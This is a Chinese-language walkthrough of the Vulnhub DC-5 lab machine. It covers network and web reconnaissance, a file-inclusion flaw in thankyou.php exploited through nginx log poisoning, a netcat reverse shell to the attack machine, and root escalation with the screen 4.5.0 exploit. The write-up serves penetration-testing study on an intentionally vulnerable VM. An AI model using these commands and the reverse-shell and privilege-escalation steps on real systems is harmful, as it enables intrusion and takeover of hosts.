Vulnhub-DC-5渗透学习
一、环境搭建
攻击机:Kali-2021.3:192.168.8.105
靶机:Vulnhub-DC-5:192.168.8.122
二、信息收集
主机探活
1 | nmap -sP 192.168.8.0/24 |

扫描目标端口
1 | nmap -A -p- 192.168.8.122 |

开放了80端口,那就访问看看

看起来没什么特别的,只是一些静态页面
指纹识别一下
1 | whatweb 192.168.8.122:80 |

感觉只是一个简单的页面
在网站里四处看了看,发现Contact里可以产生交互

随便输入一些内容试试

发现我们写入的内容都进入了URL,并且跳转到了thankyou.php里
好像没有什么很明显的利用点,那就扫一下后台看看有无可以利用的文件吧
1 | nikto -host 192.168.8.122 |

似乎什么都没有,换一个字典更大的dirsearch来试试
1 | python3 dirsearch.py -u http://192.168.8.122 |

三、实战
漏洞分析
扫目录后发现有个在网页里没见过的footer.php文件
访问一下

发现就是之前页面下面的Copyright
还不知道有什么用,抓数据包看看

但数据包并没有什么特殊的,但是我记得在网页上的时候还是2020,现在变成了2017
再测试几次,发现刷新的时候这个年份会产生变化
再回到刚刚的页面中,无论怎么刷新它也不会变化

经过测试,只有在thankyou.php这个页面里刷新的时候它才会变化

怀疑有文件包含,在thankyou.php里包含了footer.php文件
抓包爆破一下它的文件包含的参数



成功爆破出文件包含的参数
漏洞利用
有了文件包含,我们想要查看任何已知路径的文件都可以做到,但要想拿到shell,那就得日志包含了
在之前的指纹识别里能知道这个页面的Web服务器是Nginx,那直接网上找一找就能知道日志路径的位置了

查看一下看看对不对
1 | 192.168.8.122/thankyou.php?file=/var/log/nginx/access.log |

成功访问到日志,那接下来就是写入一句话再蚁剑连接就行了



成功连接
反弹shell
为了后面的操作更方便,先来反弹一下shell吧
1 | nc -lvp 2222 |
然后在蚁剑上打开终端
1 | nc 192.168.8.105 2222 -e /bin/bash |

成功反弹shell后,利用python创建一个交互式shell
1 | python -c 'import pty; pty.spawn("/bin/bash")' |

提权
现在来看看如何提权
SUID提权
1 | find / -perm -4000 -print 2>/dev/null |
免密的有root权限的文件
1 | sudo -l |

发现有一个很特别的东西,去看看它有没有可以利用的漏洞
1 | searchsploit screen 4.5.0 |

发现存在一个漏洞可以利用
打开看看如何使用
1 | searchsploit -x linux/local/41154.sh |

里面大致有三部分,我框起来的是两部分,把这两部分删掉就是最后一部分
-
首先是第一部分,新建一个C文件,并写入第一部分的C语言内容
1
vi libhax.c

然后根据它的步骤把这个C文件编译成so文件
1
gcc -fPIC -shared -ldl -o libhax.so libhax.c

然后下面这个是用来删除刚刚新建的C文件的,可以执行也可以不执行
1
rm -f libhax.c
-
第二部分,同样新建一个C文件并写入C代码
1
vi rootshell.c

然后编译
1
gcc -o rootshell rootshell.c

1
rm -f rootshell.c
-
最后一部分把前面两部分的删掉后另存进一个sh文件中就行
1
vi run.sh

然后把文件从kali复制出来,再通过蚁剑上传到/tmp目录下

然后在终端里给sh文件赋予可执行的权限,然后再执行run.sh文件就能提权成功
1 | chmod +x run.sh |

成功找到flag











